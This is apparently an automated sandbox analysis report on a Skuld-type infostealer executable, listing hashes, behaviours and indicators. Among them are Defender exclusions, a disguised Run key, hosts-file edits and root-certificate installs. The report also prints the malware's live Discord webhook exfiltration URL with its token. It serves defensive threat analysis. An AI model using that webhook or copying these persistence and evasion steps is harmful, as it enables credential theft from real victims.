Analysis
-
max time kernel
150s -
max time network
133s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
27-08-2024 22:15
Behavioral task
behavioral1
Sample
2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe
Resource
win10v2004-20240802-en
General
-
Target
2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe
-
Size
9.9MB
-
MD5
dfbee94bf50c02ac6a0af22db1080c4d
-
SHA1
77628f0f12a46c23969a7ae27a54d46d9c69e406
-
SHA256
12b3fbd52032a35122f10e38bf713b3b9ce4257820e83ae69ce345b4a6b52f67
-
SHA512
f5c1f94977ca1aac0c446b2ce26d03295af01db3566965885f9cf17baf169bb87f651967656473f7e4d4ac572a848c9dc8f7fff087304b8f855fa3c3aaaa2d1b
-
SSDEEP
98304:LQI9wzKxmhMIIKfGTibiyCC9cE8yECICafZm7jsEjjd:LIzKxmhhtbiyCicDffwjd
Malware Config
Extracted
skuld
https://discord.com/api/webhooks/1277693402128842752/GL2sVurL98MJ9mr9KPKGQzwZrf6F5zrTCtpQZNf79Io8RVW2QqbWxNycbicDXEjHHL_R
Signatures
-
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
-
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3188 powershell.exe 4656 powershell.exe -
Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe File opened for modification C:\Windows\System32\drivers\etc\hosts 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe" 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 15 discord.com 10 discord.com -
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 api.ipify.org 2 api.ipify.org 5 ip-api.com -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 1536 netsh.exe -
Detects videocard installed 1 TTPs 2 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4120 wmic.exe 1204 wmic.exe -
GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
description flow ioc HTTP User-Agent header 6 Go-http-client/1.1 -
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 5c000000010000000400000000080000190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c7e00000001000000080000000000042beb77d5017a000000010000000c000000300a06082b060105050703097f000000010000000c000000300a06082b060105050703091d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c990b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703080f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d0400000001000000100000003e455215095192e1b75d379fb187298a200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c99140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b9992367f000000010000000c000000300a06082b060105050703097a000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 3188 powershell.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 3188 powershell.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4656 powershell.exe 4656 powershell.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4788 2024-08-27_dfbee94bf50c02ac6a0af22db1080c4d_ngrbot_poet-rat_snatch.exe Token: SeIncreaseQuotaPrivilege 4772 wmic.exe Token: SeSecurityPrivilege 4772 wmic.exe Token: SeTakeOwnershipPrivilege 4772 wmic.exe Token: SeLoadDriverPrivilege 4772 wmic.exe Token: SeSystemProfilePrivilege 4772 wmic.exe Token: SeSystemtimePrivilege 4772 wmic.exe Token: SeProfSingleProcessPrivilege 4772 wmic.exe Token: SeIncBasePriorityPrivilege 4772 wmic.exe Token: SeCreatePagefilePrivilege 4772 wmic.exe Token: SeBackupPrivilege 4772 wmic.exe Token: SeRestorePrivilege 4772 wmic.exe Token: SeShutdownPrivilege 4772 wmic.exe Token: SeDebugPrivilege 4772 wmic.exe Token: SeSystemEnvironmentPrivilege 4772 wmic.exe Token: SeRemoteShutdownPrivilege 4772 wmic.exe Token: SeUndockPrivilege 4772 wmic.exe Token: SeManageVolumePrivilege 4772 wmic.exe Token: 33 4772 wmic.exe Token: 34 4772 wmic.exe Token: 35 4772 wmic.exe Token: 36 4772 wmic.exe Token: SeIncreaseQuotaPrivilege 4772 wmic.exe Token: SeSecurityPrivilege 4772 wmic.exe Token: SeTakeOwnershipPrivilege 4772 wmic.exe Token: SeLoadDriverPrivilege 4772 wmic.exe Token: SeSystemProfilePrivilege 4772 wmic.exe Token: SeSystemtimePrivilege 4772 wmic.exe Token: SeProfSingleProcessPrivilege 4772 wmic.exe Token: SeIncBasePriorityPrivilege 4772 wmic.exe Token: SeCreatePagefilePrivilege 4772 wmic.exe Token: SeBackupPrivilege 4772 wmic.exe Token: SeRestorePrivilege 4772 wmic.exe Token: SeShutdownPrivilege 4772 wmic.exe Token: SeDebugPrivilege 4772 wmic.exe Token: SeSystemEnvironmentPrivilege 4772 wmic.exe Token: SeRemoteShutdownPrivilege 4772 wmic.exe Token: SeUndockPrivilege 4772 wmic.exe Token: SeManageVolumePrivilege 4772 wmic.exe Token: 33 4772 wmic.exe Token: 34 4772 wmic.exe Token: 35 4772 wmic.exe Token: 36 4772 wmic.exe Token: SeIncreaseQuotaPrivilege 4120 wmic.exe Token: SeSecurityPrivilege 4120 wmic.exe Token: SeTakeOwnershipPrivilege 4120 wmic.exe Token: SeLoadDriverPrivilege 4120 wmic.exe Token: SeSystemProfilePrivilege 4120 wmic.exe Token: SeSystemtimePrivilege 4120 wmic.exe Token: SeProfSingleProcessPrivilege 4120 wmic.exe Token: SeIncBasePriorityPrivilege 4120 wmic.exe Token: SeCreatePagefilePrivilege 4120 wmic.exe Token: SeBackupPrivilege 4120 wmic.exe Token: SeRestorePrivilege 4120 wmic.exe Token: SeShutdownPrivilege 4120 wmic.exe Token: SeDebugPrivilege 4120 wmic.exe Token: SeSystemEnvironmentPrivilege 4120 wmic.exe Token: SeRemoteShutdownPrivilege 4120 wmic.exe Token: SeUndockPrivilege 4120 wmic.exe Token: SeManageVolumePrivilege 4120 wmic.exe Token: 33 4120 wmic.exe Token: 34 4120 wmic.exe Token: 35 4120 wmic.exe Token: 36 4120 wmic.exe -
Suspicious use of WriteProcessMemory 32 IoCs
